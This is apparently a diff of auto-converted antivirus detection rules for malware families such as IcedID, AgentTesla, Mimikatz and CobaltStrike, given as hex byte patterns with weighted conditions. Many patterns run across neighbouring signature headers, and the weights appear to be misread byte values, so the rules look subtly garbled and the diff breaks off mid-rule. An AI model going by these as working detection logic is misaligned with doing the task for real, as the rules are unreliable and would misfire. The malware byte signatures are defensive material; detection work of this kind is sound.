2e 57 69 6e 64 6f 77 73 2e 43 6d 64 4c 69 6e 65 2e 54 61 73 6b 4b 69 6c 6c 0a 00 0c 74 61 73 6b 6b 69 6c 6c 2e 70 64 62 00 00 61 81 00 00 1f 00 1f 00 04 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 32 4c 6f 70 2e 67 65 6e 21 45 33 00 0a 00 09 76 63 32 30 78 63 30 30 75 0a 00 12 43 72 65 61 74 65 52 } //29283 $a_01_2 = {74 65 54 68 72 65 61 64 0a 00 24 4d 69 63 72 6f 73 6f 66 74 20 56 69 73 75 61 6c 20 43 2b 2b 20 52 75 6e 74 69 6d 65 20 4c 69 62 72 61 72 79 01 00 0d 00 65 3a 5c 63 61 6f 65 2e 50 44 42 00 00 00 61 82 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 49 63 65 49 44 2e 55 55 4c 21 4d 54 42 00 01 00 56 } //28005 - $a_01_3 = {38 01 00 00 c7 44 24 30 45 02 00 00 3a f6 74 20 83 44 24 34 5b c7 44 24 38 b2 18 00 00 66 3b db 74 7c 44 89 4c 24 20 4c 89 44 24 18 3a f6 74 15 81 44 24 30 f0 00 00 00 c7 44 24 34 ea 00 00 00 66 3b e4 74 cb 48 89 54 24 10 48 89 4c 24 08 3a d2 74 aa 00 00 61 82 00 00 02 00 02 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4b 4d 54 21 4d 54 42 00 02 00 51 07 11 06 07 8e 69 5d 07 11 06 07 8e 69 5d 91 08 11 06 08 6f 2b 00 00 0a 5d 6f 2c 00 00 0a 61 28 2d 00 00 0a 07 11 06 17 58 07 8e 69 5d 91 28 2e 00 00 0a 59 20 00 01 00 00 58 20 00 01 00 00 5d 28 2f 00 00 0a 9c 11 06 15 58 13 06 11 06 16 2f af 00 00 61 82 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 54 } //-32440 + $a_01_3 = {38 01 00 00 c7 44 24 30 45 02 00 00 3a f6 74 20 83 44 24 34 5b c7 44 24 38 b2 18 00 00 66 3b db 74 7c 44 89 4c 24 20 4c 89 44 24 18 3a f6 74 15 81 44 24 30 f0 00 00 00 c7 44 24 34 ea 00 00 00 66 3b e4 74 cb 48 89 54 24 10 48 89 4c 24 08 3a d2 74 aa 00 00 61 82 00 00 01 00 01 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4b 54 21 4d 54 42 00 01 00 26 2b 1e 2b 3a 2b 3b 2b 3c 08 91 03 08 07 5d 6f 62 00 00 0a 61 d2 9c 16 2d e9 1a 2c e6 08 17 58 0c 08 02 8e 69 32 dc 01 00 29 03 6f 09 00 00 0a 0b 16 0c 38 15 00 00 00 06 08 02 08 91 03 08 07 5d 6f 0a 00 00 0a 61 d2 9c 08 17 58 0c 08 02 8e 69 32 e5 00 00 61 82 00 00 02 00 02 00 01 00 21 23 41 4c 46 3a 54 } //-32440 condition: ((#a_01_0 & 1)*20259+(#a_01_1 & 1)*29283+(#a_01_2 & 1)*28005+(#a_01_3 & 1)*-32440) >=30 } -rule _InfrastructureShared_27447{ +rule _InfrastructureShared_29181{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1f 00 1f 00 04 00 21 " @@ -357920,12 +380546,12 @@ rule _InfrastructureShared_27447{ $a_01_0 = {54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 32 4c 6f 70 2e 67 65 6e 21 45 33 00 0a 00 09 76 63 32 30 78 63 30 30 75 0a 00 12 43 72 65 61 74 65 52 65 6d 6f 74 65 54 68 72 65 61 64 0a 00 24 4d 69 63 72 6f 73 6f 66 74 20 56 69 73 75 61 6c 20 43 } //18467 $a_01_1 = {52 75 6e 74 69 6d 65 20 4c 69 62 72 61 72 79 01 00 0d 00 65 3a 5c 63 61 6f 65 2e 50 44 42 00 00 } //11051 $a_01_2 = {00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 49 63 65 49 44 2e 55 55 4c 21 4d 54 42 00 01 00 56 48 81 ec 38 01 00 00 c7 44 24 30 45 02 00 00 3a f6 74 20 83 44 24 34 5b c7 44 24 38 b2 18 00 00 66 3b db 74 7c 44 89 4c 24 20 4c 89 44 24 18 3a f6 74 15 81 44 24 30 f0 00 00 00 c7 44 24 34 ea 00 00 00 66 3b e4 74 cb 48 89 54 24 10 48 89 4c 24 08 3a d2 74 aa } //24832 - $a_01_3 = {82 00 00 02 00 02 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4b 4d 54 21 4d 54 42 00 02 00 51 07 11 06 07 8e 69 5d 07 11 06 07 8e 69 5d 91 08 11 06 08 6f 2b 00 00 0a 5d 6f 2c 00 00 0a 61 28 2d 00 00 0a 07 11 06 17 58 07 8e 69 5d 91 28 } //0 + $a_01_3 = {82 00 00 01 00 01 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4b 54 21 4d 54 42 00 01 00 26 2b 1e 2b 3a 2b 3b 2b 3c 08 91 03 08 07 5d 6f 62 00 00 0a 61 d2 9c 16 2d e9 1a 2c e6 08 17 58 0c 08 02 8e 69 32 dc 01 00 29 03 6f 09 00 00 0a 0b } //0 condition: ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*11051+(#a_01_2 & 1)*24832+(#a_01_3 & 1)*0) >=31 } -rule _InfrastructureShared_27448{ +rule _InfrastructureShared_29182{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -357935,7 +380561,18 @@ rule _InfrastructureShared_27448{ ((#a_01_0 & 1)*16675) >=1 } -rule _InfrastructureShared_27449{ +rule _InfrastructureShared_29183{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 02 00 21 " + + strings : + $a_01_0 = {46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4b 54 21 4d 54 42 00 01 00 26 2b 1e 2b 3a 2b 3b 2b 3c 08 91 03 08 07 5d 6f 62 00 00 0a 61 d2 9c 16 2d e9 1a 2c e6 08 17 58 0c 08 02 8e 69 32 dc 01 00 } //16675 + $a_01_1 = {09 00 00 0a 0b 16 0c 38 15 00 00 00 06 08 02 08 91 03 08 07 5d 6f 0a 00 00 0a 61 d2 9c 08 17 58 0c 08 02 8e 69 32 e5 00 00 61 82 00 00 02 00 02 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4b 4d 54 21 4d 54 42 00 02 00 51 07 11 06 07 8e 69 5d 07 11 06 07 8e 69 5d 91 08 11 06 08 } //809 + condition: + ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*809) >=1 + +} +rule _InfrastructureShared_29184{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 01 00 21 " @@ -357945,7 +380582,7 @@ rule _InfrastructureShared_27449{ ((#a_01_0 & 1)*16675) >=2 } -rule _InfrastructureShared_27450{ +rule _InfrastructureShared_29185{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -357956,7 +380593,7 @@ rule _InfrastructureShared_27450{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*2560) >=2 } -rule _InfrastructureShared_27451{ +rule _InfrastructureShared_29186{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -357967,7 +380604,7 @@ rule _InfrastructureShared_27451{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*26144) >=2 } -rule _InfrastructureShared_27452{ +rule _InfrastructureShared_29187{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -357977,7 +380614,7 @@ rule _InfrastructureShared_27452{ ((#a_01_0 & 1)*21283) >=2 } -rule _InfrastructureShared_27453{ +rule _InfrastructureShared_29188{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 03 00 21 " @@ -357987,21 +380624,30 @@ rule _InfrastructureShared_27453{ ((#a_01_0 & 1)*25635) >=2 } -rule _InfrastructureShared_27454{ +rule _InfrastructureShared_29189{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 05 00 21 " strings : $a_01_0 = {54 52 3a 45 78 63 65 70 74 69 6f 6e 3a 4d 69 6d 69 6b 61 74 7a 2e 41 00 01 00 0d 53 65 6e 74 69 6e 65 6c 41 67 65 6e 74 01 00 19 53 65 6e 74 69 6e 65 6c 4d 65 6d 6f 72 79 53 63 61 6e 6e 65 72 2e 65 78 65 01 00 0a 73 65 6e 74 69 6e 65 6c 3a 3a 01 00 } //18467 - $a_01_1 = {6e 74 69 6e 65 6c 2d 4f 6e 65 01 00 13 41 67 65 6e 74 43 6f 72 65 5c 41 67 65 6e 74 4d 61 69 6e 00 00 61 82 00 00 04 00 04 00 08 00 21 23 64 6f 5f 65 78 68 61 75 73 74 69 76 65 68 73 74 72 5f 72 65 73 63 61 6e 00 01 00 07 78 36 34 2e 7a 69 70 01 00 07 78 33 32 2e 7a 69 70 01 00 07 2c 61 64 6d 69 6e 3d } //21260 - $a_01_2 = {2c 67 75 69 64 3d } //1 ,guid= - $a_01_3 = {5c 00 42 00 79 00 70 00 61 00 73 00 73 00 } //1 \Bypass - $a_01_4 = {5c 00 67 00 75 00 69 00 64 00 2e 00 6c 00 6f 00 67 00 } //1 \guid.log + $a_01_1 = {6e 74 69 6e 65 6c 2d 4f 6e 65 01 00 13 41 67 65 6e 74 43 6f 72 65 5c 41 67 65 6e 74 4d 61 69 6e 00 00 61 82 00 00 04 00 04 00 04 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4a 53 43 65 61 6c 7a 2e 42 21 4d 54 42 00 01 00 11 54 61 73 6b 53 63 68 65 64 75 6c 65 72 2e 64 6c 6c 01 00 22 43 } //21260 + $a_01_3 = {00 6f 00 6d 00 41 00 63 00 74 00 69 00 6f 00 6e 00 73 00 2e 00 64 00 6c 00 6c 00 01 00 0e 57 00 4d 00 49 00 2e 00 64 00 6c 00 6c 00 01 00 0c 3a 00 33 00 30 00 33 00 30 00 33 00 00 00 61 82 00 00 04 00 04 00 08 00 21 23 64 6f 5f 65 78 68 61 75 73 74 69 76 65 68 73 74 72 5f 72 65 73 63 61 6e 00 01 00 07 78 36 34 2e 7a 69 70 01 00 07 78 33 32 2e 7a } //115 condition: - ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*21260+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=3 + ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*21260+(#a_01_3 & 1)*115) >=3 } -rule _InfrastructureShared_27455{ +rule _InfrastructureShared_29190{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " + + strings : + $a_01_0 = {4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4a 53 43 65 61 6c 7a 2e 42 21 4d 54 42 00 01 00 11 54 61 73 6b 53 63 68 65 64 75 6c 65 72 2e 64 6c 6c 01 00 22 43 00 75 00 73 00 74 00 6f 00 6d 00 41 00 63 00 74 } //21539 + $a_01_2 = {00 73 00 2e 00 64 00 6c 00 6c 00 01 00 0e 57 00 4d 00 49 00 2e 00 64 00 6c 00 6c 00 01 00 0c 3a 00 33 00 30 00 33 00 30 00 33 00 00 00 61 82 00 00 04 00 04 00 08 00 21 23 64 6f 5f 65 78 68 61 75 73 74 69 76 65 68 73 74 72 5f 72 65 73 63 61 6e 00 01 00 07 78 36 34 2e 7a 69 70 01 00 07 78 33 32 2e 7a 69 70 01 00 07 2c 61 64 6d 69 } //111 + condition: + ((#a_01_0 & 1)*21539+(#a_01_2 & 1)*111) >=4 + +} +rule _InfrastructureShared_29191{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 08 00 21 " @@ -358018,7 +380664,7 @@ rule _InfrastructureShared_27455{ ((#a_01_0 & 1)*25635+(#a_01_1 & 1)*25350+(#a_01_2 & 1)*27753+(#a_01_3 & 1)*24432+(#a_01_4 & 1)*10+(#a_01_5 & 1)*10+(#a_01_6 & 1)*10+(#a_01_7 & 1)*1) >=4 } -rule _InfrastructureShared_27456{ +rule _InfrastructureShared_29192{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 04 00 21 " @@ -358031,7 +380677,7 @@ rule _InfrastructureShared_27456{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*24948+(#a_01_2 & 1)*26469+(#a_01_3 & 1)*28530) >=5 } -rule _InfrastructureShared_27457{ +rule _InfrastructureShared_29193{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 06 00 06 00 21 " @@ -358045,7 +380691,7 @@ rule _InfrastructureShared_27457{ ((#a_01_0 & 1)*21283+(#a_01_2 & 1)*25617+(#a_01_3 & 1)*17936+(#a_01_4 & 1)*29043+(#a_01_5 & 1)*-16333) >=6 } -rule _InfrastructureShared_27458{ +rule _InfrastructureShared_29194{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,33 00 33 00 07 00 21 " @@ -358061,7 +380707,7 @@ rule _InfrastructureShared_27458{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*16915+(#a_01_2 & 1)*-89+(#a_01_3 & 1)*21224+(#a_01_4 & 1)*66+(#a_01_5 & 1)*-16335+(#a_01_6 & 1)*4096) >=51 } -rule _InfrastructureShared_27459{ +rule _InfrastructureShared_29195{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -358071,7 +380717,7 @@ rule _InfrastructureShared_27459{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_27460{ +rule _InfrastructureShared_29196{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -358081,7 +380727,7 @@ rule _InfrastructureShared_27460{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_27461{ +rule _InfrastructureShared_29197{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -358091,7 +380737,7 @@ rule _InfrastructureShared_27461{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_27462{ +rule _InfrastructureShared_29198{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -358101,7 +380747,7 @@ rule _InfrastructureShared_27462{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_27463{ +rule _InfrastructureShared_29199{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -358112,7 +380758,7 @@ rule _InfrastructureShared_27463{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*-7481) >=2 } -rule _InfrastructureShared_27464{ +rule _InfrastructureShared_29200{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 02 00 05 00 21 " @@ -358126,7 +380772,7 @@ rule _InfrastructureShared_27464{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*25188+(#a_01_2 & 1)*19293+(#a_01_3 & 1)*259+(#a_01_4 & 1)*16716) >=2 } -rule _InfrastructureShared_27465{ +rule _InfrastructureShared_29201{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -358138,7 +380784,7 @@ rule _InfrastructureShared_27465{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*-14454+(#a_01_2 & 1)*28265) >=3 } -rule _InfrastructureShared_27466{ +rule _InfrastructureShared_29202{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 05 00 21 " @@ -358152,7 +380798,7 @@ rule _InfrastructureShared_27466{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*29541+(#a_01_2 & 1)*28261+(#a_01_3 & 1)*25928+(#a_01_4 & 1)*21359) >=4 } -rule _InfrastructureShared_27467{ +rule _InfrastructureShared_29203{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 07 00 21 " @@ -358162,12 +380808,12 @@ rule _InfrastructureShared_27467{ $a_01_3 = {00 61 00 62 00 6c 00 65 00 48 00 48 00 44 00 45 00 50 00 0a 00 2b 3c 64 65 73 63 72 69 70 74 69 6f 6e 3e 4d 69 63 72 6f 73 6f 66 74 20 48 54 4d 4c 20 48 65 6c 70 20 45 78 65 63 75 74 61 62 6c 65 00 00 61 84 00 00 01 00 01 00 01 00 21 23 48 53 54 52 3a 49 6e 6e 6f 53 65 74 75 70 33 30 30 62 00 01 00 64 55 8b ec 83 c4 b8 53 56 57 33 c0 89 45 f0 } //105 $a_01_4 = {89 45 b8 e8 93 71 ff ff e8 fa 85 ff ff e8 99 a7 ff ff e8 e0 a7 ff ff e8 cf a8 ff ff e8 f6 fa ff ff be 1c ff 40 00 33 c0 55 68 c4 c4 40 00 64 ff 30 64 89 20 33 d2 55 68 83 c4 40 00 64 ff 32 64 89 22 8d 55 f0 33 c0 e8 97 f2 ff ff 8b 55 f0 b8 80 fc 40 00 00 61 84 00 00 01 00 01 00 01 00 21 23 48 53 54 52 3a 49 6e 6e 6f 53 65 74 75 70 33 30 31 62 00 01 00 64 55 8b ec 83 c4 b8 53 56 57 33 c0 89 45 f0 89 45 bc 89 45 b8 e8 2f 71 ff ff e8 96 85 ff ff e8 35 a7 ff ff e8 7c a7 ff ff e8 6b a8 ff ff e8 f6 fa ff ff be 20 ff 40 00 33 c0 55 68 28 c5 40 00 64 ff 30 64 89 20 } //17801 $a_01_5 = {68 e7 c4 40 00 64 ff 32 64 89 22 8d 55 f0 33 c0 e8 97 f2 ff ff 8b 55 f0 b8 84 fc 40 00 00 61 84 00 00 01 00 01 00 01 00 21 23 48 53 54 52 3a 49 6e 6e 6f 53 65 74 75 70 33 30 32 62 00 01 00 64 55 8b ec 83 c4 b8 53 56 57 33 c0 89 45 f0 89 45 bc 89 45 b8 e8 } //-11725 - $a_01_6 = {ff e8 96 85 ff ff e8 35 a7 ff ff e8 7c a7 ff ff e8 6b a8 ff ff e8 f6 fa ff ff be 24 ff 40 00 33 c0 55 68 28 c5 40 00 64 ff 30 64 89 20 33 d2 55 68 e7 c4 40 00 64 ff 32 64 89 22 8d 55 f0 33 c0 e8 97 f2 ff ff 8b 55 f0 b8 88 fc 40 00 00 61 84 00 00 01 00 01 00 01 00 21 23 48 53 54 52 3a 49 6e 6e 6f 53 65 74 75 70 33 30 33 62 00 01 00 64 55 8b ec 83 c4 b8 53 56 57 33 c0 89 45 f0 89 45 bc 89 45 b8 e8 b3 70 ff ff e8 1a 85 ff ff e8 25 a7 ff ff e8 6c a7 ff ff e8 5b a8 ff ff e8 e6 fa ff ff be 20 ff 40 00 33 c0 55 68 c8 c5 40 00 64 ff 30 64 89 20 33 d2 55 68 58 c5 40 00 64 ff 32 64 89 22 8d 55 f0 33 c0 e8 87 f2 ff ff 8b 55 f0 b8 84 fc 40 00 00 61 84 00 00 01 00 01 00 02 00 21 23 48 53 54 52 3a 53 4d 53 3a 43 6f 6c 6c 65 63 74 4e 61 6d 65 64 44 65 74 65 63 74 69 6f } //28975 + $a_01_6 = {ff e8 96 85 ff ff e8 35 a7 ff ff e8 7c a7 ff ff e8 6b a8 ff ff e8 f6 fa ff ff be 24 ff 40 00 33 c0 55 68 28 c5 40 00 64 ff 30 64 89 20 33 d2 55 68 e7 c4 40 00 64 ff 32 64 89 22 8d 55 f0 33 c0 e8 97 f2 ff ff 8b 55 f0 b8 88 fc 40 00 00 61 84 00 00 01 00 01 00 01 00 21 23 48 53 54 52 3a 49 6e 6e 6f 53 65 74 75 70 33 30 33 62 00 01 00 64 55 8b ec 83 c4 b8 53 56 57 33 c0 89 45 f0 89 45 bc 89 45 b8 e8 b3 70 ff ff e8 1a 85 ff ff e8 25 a7 ff ff e8 6c a7 ff ff e8 5b a8 ff ff e8 e6 fa ff ff be 20 ff 40 00 33 c0 55 68 c8 c5 40 00 64 ff 30 64 89 20 33 d2 55 68 58 c5 40 00 64 ff 32 64 89 22 8d 55 f0 33 c0 e8 87 f2 ff ff 8b 55 f0 b8 84 fc 40 00 00 61 84 00 00 01 00 01 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6f 62 61 6c 74 53 74 72 69 6b 65 } //28975 condition: ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*26739+(#a_01_3 & 1)*105+(#a_01_4 & 1)*17801+(#a_01_5 & 1)*-11725+(#a_01_6 & 1)*28975) >=5 } -rule _InfrastructureShared_27468{ +rule _InfrastructureShared_29204{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1e 00 1e 00 04 00 21 " @@ -358179,7 +380825,7 @@ rule _InfrastructureShared_27468{ ((#a_01_0 & 1)*20259+(#a_01_2 & 1)*10+(#a_01_3 & 1)*0) >=30 } -rule _InfrastructureShared_27469{ +rule _InfrastructureShared_29205{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -358189,7 +380835,7 @@ rule _InfrastructureShared_27469{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_27470{ +rule _InfrastructureShared_29206{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -358199,7 +380845,7 @@ rule _InfrastructureShared_27470{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_27471{ +rule _InfrastructureShared_29207{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -358209,7 +380855,7 @@ rule _InfrastructureShared_27471{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_27472{ +rule _InfrastructureShared_29208{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -358219,7 +380865,17 @@ rule _InfrastructureShared_27472{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_27473{ +rule _InfrastructureShared_29209{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " + + strings : + $a_01_0 = {4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6f 62 61 6c 74 53 74 72 69 6b 65 2e 5a 41 42 21 4d 54 42 00 01 00 51 49 8b 5b 30 49 8b 6b 38 49 8b 73 40 49 8b e3 41 5f 41 5e 41 5d 41 5c 5f c3 48 8b c6 eb da } //21539 + condition: + ((#a_01_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_29210{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 02 00 21 " @@ -358229,7 +380885,7 @@ rule _InfrastructureShared_27473{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_27474{ +rule _InfrastructureShared_29211{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -358239,7 +380895,7 @@ rule _InfrastructureShared_27474{ ((#a_01_0 & 1)*21283) >=2 } -rule _InfrastructureShared_27475{ +rule _InfrastructureShared_29212{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -358251,7 +380907,7 @@ rule _InfrastructureShared_27475{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*25142+(#a_01_2 & 1)*0) >=3 } -rule _InfrastructureShared_27476{ +rule _InfrastructureShared_29213{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 06 00 03 00 21 " @@ -358263,7 +380919,7 @@ rule _InfrastructureShared_27476{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*26157+(#a_01_2 & 1)*-16128) >=6 } -rule _InfrastructureShared_27477{ +rule _InfrastructureShared_29214{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 06 00 06 00 21 " @@ -358278,7 +380934,7 @@ rule _InfrastructureShared_27477{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*29285+(#a_01_2 & 1)*8993+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*0) >=6 } -rule _InfrastructureShared_27478{ +rule _InfrastructureShared_29215{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,07 00 07 00 07 00 21 " @@ -358294,7 +380950,7 @@ rule _InfrastructureShared_27478{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*28777+(#a_01_2 & 1)*29541+(#a_01_3 & 1)*114+(#a_01_4 & 1)*24938+(#a_01_5 & 1)*13361+(#a_01_6 & 1)*8993) >=7 } -rule _InfrastructureShared_27479{ +rule _InfrastructureShared_29216{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,14 00 14 00 05 00 21 " @@ -358308,7 +380964,7 @@ rule _InfrastructureShared_27479{ ((#a_01_0 & 1)*16931+(#a_01_1 & 1)*29298+(#a_01_2 & 1)*26967+(#a_01_3 & 1)*1+(#a_01_4 & 1)*0) >=20 } -rule _InfrastructureShared_27480{ +rule _InfrastructureShared_29217{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1e 00 1e 00 04 00 21 " @@ -358321,7 +380977,7 @@ rule _InfrastructureShared_27480{ ((#a_01_0 & 1)*20259+(#a_01_1 & 1)*17198+(#a_01_2 & 1)*1173+(#a_01_3 & 1)*-27392) >=30 } -rule _InfrastructureShared_27481{ +rule _InfrastructureShared_29218{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -358331,7 +380987,7 @@ rule _InfrastructureShared_27481{ ((#a_01_0 & 1)*16675) >=1 } -rule _InfrastructureShared_27482{ +rule _InfrastructureShared_29219{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -358341,7 +380997,7 @@ rule _InfrastructureShared_27482{ ((#a_01_0 & 1)*16675) >=1 } -rule _InfrastructureShared_27483{ +rule _InfrastructureShared_29220{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -358351,7 +381007,7 @@ rule _InfrastructureShared_27483{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_27484{ +rule _InfrastructureShared_29221{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -358361,7 +381017,7 @@ rule _InfrastructureShared_27484{ ((#a_01_0 & 1)*21539) >=1 } -rule _InfrastructureShared_27485{ +rule _InfrastructureShared_29222{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -358372,7 +381028,7 @@ rule _InfrastructureShared_27485{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*0) >=2 } -rule _InfrastructureShared_27486{ +rule _InfrastructureShared_29223{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -358383,7 +381039,7 @@ rule _InfrastructureShared_27486{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*28001) >=2 } -rule _InfrastructureShared_27487{ +rule _InfrastructureShared_29224{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -358395,7 +381051,7 @@ rule _InfrastructureShared_27487{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*22060+(#a_01_2 & 1)*29811) >=3 } -rule _InfrastructureShared_27488{ +rule _InfrastructureShared_29225{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -358407,7 +381063,7 @@ rule _InfrastructureShared_27488{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*29811+(#a_01_2 & 1)*25461) >=3 } -rule _InfrastructureShared_27489{ +rule _InfrastructureShared_29226{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -358420,7 +381076,7 @@ rule _InfrastructureShared_27489{ ((#a_01_0 & 1)*21283+(#a_01_1 & 1)*20224+(#a_01_2 & 1)*13422+(#a_01_3 & 1)*26385) >=4 } -rule _InfrastructureShared_27490{ +rule _InfrastructureShared_29227{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -358433,7 +381089,7 @@ rule _InfrastructureShared_27490{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*31084+(#a_01_2 & 1)*8300+(#a_01_3 & 1)*24912) >=4 } -rule _InfrastructureShared_27491{ +rule _InfrastructureShared_29228{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 05 00 